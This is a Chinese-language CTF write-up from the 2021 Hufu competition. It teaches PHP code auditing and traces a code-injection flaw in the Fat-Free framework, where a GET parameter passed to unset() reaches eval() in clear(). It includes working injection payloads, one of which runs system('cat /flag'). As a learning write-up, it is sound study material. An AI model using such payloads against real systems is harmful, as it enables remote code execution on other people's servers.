虎符比赛wp——fat free框架注入漏洞审计学习

前言

赛后复现学习学习,今天主要学习一下通过审计构造注入语句

代码审计基本步骤

入口文件——>文件监控——>正式审计

正式审计步骤

我把审计分为安装前和安装后两个部分,安装前审完了之后我们就可以开始看网站的其他文件是否存在漏洞了,这个时候一般分为两种审计方式:

1.通过危险函数逆推是否用户可控
2.通读所有代码
3.黑盒+白盒

我一般都会用第一种或者第二种方式,第一种方式能够快速的找到漏洞但是漏的可能会多,第二种方式一般用在规模比较小的cms,因为文件较少,所以代码全看了也花不了多少功夫,第三种我很少用,我觉得这是新手审计的缺点,其实更应该黑盒+白盒一起用的,因为在黑盒里我们可能可以发现一些看代码的时候不注意的漏洞,比如越权/逻辑等漏洞。

  • 分析源码目录

我们在这个步骤只需要对源码目录有个大概的了解,知道每个目录里放的是什么文件就行了,比如install目录放的安装文件,admin目录放的后台管理相关的文件,function目录放的网站运行时需要用到的方法的相关文件等。

  • 分析过滤情况

在这个步骤我们要对源码的过滤情况进行分析,看看是全局过滤还是单独写某个函数用于对输入点一个个的过滤。

审计对象注意点

危险函数

五大特性

1.能够执行任意代码的函数
2.常见能够读取网络资源的函数
3.能够执行系统命令或者调用外部程序的函数
4.能够操作文件(读取、移动、删除)的函数
5.能修改运行时候的上下文环境(覆盖变量/函数)

任意执行代码函数:

1.把传入的字符串当做php代码直接执行:

img

2.引入文件执行php代码,php里引入文件执行代码的函数:

img
3.第3种是一些数据处理函数,它们存在支持回调函数类型的参数,这个参数可以传入函数的字符串名称,一旦这个参数可控,那么可能造成漏洞,这些函数的特征非常明显,参数类型是callback形式,审计的基本上就是看他们的回调函数是不是用字符串的形式传递,是否可控,在PHP里存在大量的这种函数,这里只举5个比较常见的
img

能够执行系统命令或者调用外部程序的函数

能够执行系统命令或者调用外部程序的函数,这些函数使用不当容易引起命令注入,一般需要通常需要结合escapeshellcmd或escapeshellarg函数过滤传入的变量

img

能够操作文件(读写,移动,删除)的函数

能够操作文件(读写,移动,删除)的函数,在审计的时候也要注意传入的变量是否可控,是否存在穿越目录,导致任意文件读写的情况

能够修改运行时候的上下文环境(覆盖变量/函数)

img

实战

下载 fat-free框架源码,将题目换成源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

这边包含了一个base.php文件,所以我直接去base.php中查看,搜索下看看有没有危险函数:在clear()方法中查找到eval函数,于是传入参数,直接定位到这里面看看
img

1
2
3
4
5
var_dump($key);
var_dump($this->compile('@hive'.$key,FALSE));
$val=preg_replace('/^(\$hive)/','$this->hive',$this->compile('@hive.'.$key,FALSE));
var_dump('unset('.$val.');');
eval('unset('.$val.');');

这里画个重点其实之前在学C原因的时候也有这样的调试方法,可能是太久没写代码了,都给忘了,真是无语哈哈哈
img
可以看到输入内容,此时直接在url上构造payload即可

如果不定位的话:

断点打在get语句,直接步入跟踪:

img

原来这个unset函数重新定义了:

img

继续跟进:进入clear方法中:
img

key为我们传入的值 为cache就进入以下判断,看了一下 似乎没有对我们可以利用的函数:
img
到了eval函数这里:

img

在这里进行正则匹配的过滤,但是看了一下其他的payload,说是有进行过滤,但是看了一下 发现没有呀,然后此时只需要对这里进行payload的构造就行了,整个流程还挺明确的,就是用户传入的值 会进入到clear()函数中,期间也没什么绕弯子的地方。。
接下来需要做的就是构造payload闭合前面的内容实现eval命令执行:

1
?a=a['/']);phpinfo(

由于后面会拼接回来一个);所以这里后面的内容可以不要,但是要执行其他命令要吧后面的内容给注释掉,所以payload为:

1
xxxxxxxxxx ?a=a['/']);system('cat /flag');//

小结:

关于收获:
1.对于调试其实已经不算陌生了,拿到题目获得源码后其实我是有点无从下手的,感觉是太久没调试手生了,通过这题,以后就要记得调试的基操了,尤其是通过输出各个变量确定我们输入的值,从而达到成功构造出闭合语句的效果

虎符比赛wp——fat free框架注入漏洞审计学习

http://example.com/2021/04/04/红谷杯-虎符比赛wp/

Author

vague huang

Posted on

2021-04-04

Updated on

2021-04-04

Licensed under

Comments